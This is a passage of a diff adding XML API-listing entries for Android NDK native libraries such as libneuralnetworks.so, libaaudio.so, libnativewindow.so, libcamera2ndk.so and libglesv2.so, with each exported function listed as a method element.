+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeActivity_hideSoftInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getType" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAssetDir_getNextFileName" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_getMountedObbPath" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_hasEvents" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="android_getaddrinfofornetwork" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setDensity" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getMetaState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AStorageManager_unmountObb" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AConfiguration_setScreenLong" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AMotionEvent_getPressure" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASharedMemory_dupFromJava" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensor_getResolution" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ASensorEventQueue_registerSensor" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libneuralnetworks.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksEvent_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_setOperandValue" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksMemory_createFromFd" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setInputFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_setOperandValueFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBNEURALNETWORKS" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_finish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setOutput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksMemory_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksEvent_wait" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_startCompute" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_addOperand" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setInput" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_identifyInputsAndOutputs" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksCompilation_setPreference" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksExecution_setOutputFromMemory" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANeuralNetworksModel_addOperation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libaaudio.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setChannelCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getBufferSizeInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getTimestamp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_getMMapPolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_openStream" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestPause" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_convertResultToText" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_setMMapPolicy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getPerformanceMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setBufferCapacityInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSharingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBAAUDIO" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSamplesPerFrame" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDeviceId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSampleRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getXRunCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestStop" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesWritten" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_isMMapUsed" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setPerformanceMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesRead" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesPerDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSamplesPerFrame" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_setBufferSizeInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setSampleRate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setErrorCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setFramesPerDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_convertStreamStateToText" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getChannelCount" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudio_createStreamBuilder" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getFramesPerBurst" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_read" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDirection" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_write" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStreamBuilder_setDataCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_waitForStateChange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getBufferCapacityInFrames" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_getSharingMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AAudioStream_requestStart" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libnativewindow.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_unlock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_acquire" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurfaceTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBNATIVEWINDOW" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_sendHandleToUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_recvHandleFromUnixSocket" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_allocate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_fromSurface" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_fromHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersTransform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_setBuffersGeometry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_describe" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_toHardwareBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_lock" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="AHardwareBuffer_release" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_getHeight" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ANativeWindow_unlockAndPost" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libcamera2ndk.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutput_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_i32" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_remove" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraOutputTarget_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_double" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_createCaptureRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_createCaptureSession" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_getAllTags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_add" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_openCamera" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_u8" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_setRepeatingRequest" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_deleteCameraIdList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_getId" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_getAllTags" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_getCameraCharacteristics" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_addTarget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_getCameraIdList" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_removeTarget" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_capture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_getDevice" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutput_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_delete" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_rational" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_stopRepeating" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBCAMERA2NDK" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_getConstEntry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_i64" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_setEntry_float" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_unregisterAvailabilityCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraOutputTarget_create" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureSessionOutputContainer_free" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraMetadata_copy" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraCaptureSession_abortCaptures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraDevice_close" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACameraManager_registerAvailabilityCallback" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="ACaptureRequest_getConstEntry" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libglesv2.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSetFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorGroupStringAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttribLocation" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib4f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSelectPerfMonitorCountersAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFinishFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparate" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBuffersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBeginPerfMonitorAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsVertexArrayOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtTexObjectStateOverrideiQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveUniform" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glShaderSource" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramBinarySourceQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPerfMonitorCounterInfoAMD" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBGLESV2" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBufferPointervQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetProgramsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexSubImageQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glViewport" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFinish" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetActiveAttrib" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetShadersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenerateMipmap" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetProgramInfoLog" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawElementsEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReleaseShaderCompiler" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlStringQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetIntegerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
